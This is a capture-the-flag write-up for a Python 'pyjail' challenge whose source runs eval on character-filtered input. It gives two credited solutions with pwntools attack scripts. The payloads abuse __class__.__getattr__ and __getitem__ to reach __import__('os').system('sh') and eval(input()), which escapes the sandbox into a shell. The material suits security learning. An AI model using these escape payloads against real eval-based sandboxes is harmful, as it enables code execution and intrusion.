#!/usr/local/bin/python3
eval(''.join(c for c in input('> ') if c in "abcdefghijklmnopqrstuvwxyz:_.[]"))
Requirements:
obj.__class__.__getitem__ = func and obj[arg] to call function[[]for[a]in[[b]]] instead of a = bobj.__class__.__getattr__ = __import__ and obj.os to import osWriteup by @Coppermine on Discord:
[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]
The idea here is to utilize that a.b is essentially a.__class__.__getattr__("b"), so we can pass string arguments without quotes.
Attack script:
from pwn import *
# solution #1
p = process(["python3", "main.py"])
# __import__('os').system('sh')
p.sendline(
b"[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]"
)
p.interactive()
Writeup by @xtea418 on Discord:
[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]
The idea is to call functions with parens using [[]for[a]in[[b]]] primitive. Previously in pyjail cheatsheet we know that we can do [[]for a in[b]], but the spaces are required. The extra [] layer makes it work without spaces.
The rest is simply converting eval(input(license)) to help[quit[license]] where quit[arg] calls input(arg) and help[arg] calls eval(arg).
Attack script:
from pwn import *
# solution #2
p = process(["python3", "main.py"])
# eval(input(license))
p.sendline(
b"[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]"
)
p.sendline(b"__import__('os').system('sh')")
p.interactive()